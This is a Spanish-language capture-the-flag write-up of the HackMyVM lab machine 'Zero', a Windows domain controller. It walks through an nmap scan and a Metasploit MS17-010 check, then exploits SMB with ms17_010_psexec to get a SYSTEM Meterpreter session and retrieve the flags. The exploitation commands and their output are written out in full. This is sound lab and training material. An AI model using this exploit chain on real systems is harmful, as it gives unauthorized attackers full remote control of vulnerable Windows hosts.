Enumeración de servicios
El escaneo dirigido muestra los servicios típicos de un controlador de dominio de Active Directory: DNS (53), Kerberos (88), LDAP (389) y SMB (445). Nmap identifica además el dominio zero.hmv, el hostname DC01 y Windows Server 2016 como sistema operativo:
❯ sudo nmap -sCV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49670,49671,49694 -oN 02-targeted.txt 192.168.1.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 14:00 -04
Nmap scan report for 192.168.1.29
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, ...)
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ZERO)
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 ...
| Computer name: DC01
| Domain name: zero.hmv
|_ FQDN: DC01.zero.hmv
...La presencia de SMB no implica por sí sola que el host sea vulnerable. Antes de explotar, utilizamos el módulo auxiliar de Metasploit para comprobar si el servicio está afectado por MS17-010. El boletín agrupa varias vulnerabilidades de SMB, entre ellas CVE-2017-0143; el resultado del scanner confirma exposición al boletín, pero no atribuye el host a un CVE individual:
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.29
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.1.29:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit)El resultado Host is likely VULNERABLE relaciona la versión detectada con MS17-010 y justifica pasar a la explotación.
Explotación de MS17-010
Usamos ms17_010_psexec, que combina la explotación de SMB con la ejecución remota de una carga útil. Configuramos la IP objetivo y el puerto local de retorno; si el ataque funciona, no necesitamos credenciales previas:
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.1.29
msf6 exploit(windows/smb/ms17_010_psexec) > set lport 1234
msf6 exploit(windows/smb/ms17_010_psexec) > run
[+] 192.168.1.29:445 - Overwrite complete... SYSTEM session obtained!
[*] Meterpreter session 1 opened ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMgetuid devuelve NT AUTHORITY\SYSTEM, la cuenta local con mayores privilegios del sistema. Por eso esta cadena no requiere una fase adicional de escalada.
Recuperación de las flags
Desde la sesión privilegiada buscamos recursivamente los archivos user.txt y root.txt. La opción /s recorre los subdirectorios y /b muestra únicamente las rutas, lo que evita revisar manualmente cada perfil:
C:\>dir /s /b "user.txt"
C:\Users\ruycr4ft\Desktop\user.txt
C:\>dir /s /b "root.txt"
C:\Users\Administrator\Desktop\root.txtLas rutas confirman que la flag de usuario pertenece a ruycr4ft y la final al perfil de Administrator. Recuperamos ambas y damos por completada la máquina.